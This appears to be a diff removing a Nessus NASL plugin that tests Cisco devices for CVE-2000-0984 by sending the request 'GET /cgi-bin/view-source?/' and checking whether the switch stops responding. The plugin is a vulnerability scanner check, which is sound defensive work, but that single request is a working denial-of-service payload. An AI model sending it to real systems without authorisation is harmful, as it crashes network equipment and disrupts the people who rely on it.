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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10682);
- script_bugtraq_id(1838);
- script_cve_id("CVE-2000-0984");
- script_version ("$Revision: 1.15 $");
-
- name["english"] = "CISCO view-source DoS";
- name["francais"] = "CISCO view-source DoS";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- It was possible to make the remote switch reboot by requesting :
-
- GET /cgi-bin/view-source?/
-
-
- An attacker may use this flaw to prevent your network from working
- properly.
-
- Solution : see http://www.cisco.com/warp/public/707/httpserverquery-pub.shtml
- Risk factor : High";
-
-
-
-
- script_description(english:desc["english"]);
-
- summary["english"] = "crashes the remote switch";
-
- script_summary(english:summary["english"]);
-
- script_category(ACT_KILL_HOST);
-
-
- script_copyright(english:"This script is Copyright (C) 2001 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2001 Renaud Deraison");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "no404.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
-
- port = get_http_port(default:80);
-
-
- if(get_port_state(port))
- {
- start_denial();
- soc = http_open_socket(port);
- if(soc)
- {
- data = http_get(item:string("/cgi-bin/view-source?/"), port:port);
- send(socket:soc, data:data);
- http_close_socket(soc);
- alive = end_denial();
- if(!alive)
- {
- security_hole(port);
- set_kb_item(name:"Host/dead", value:TRUE);
- }
- }
- }
-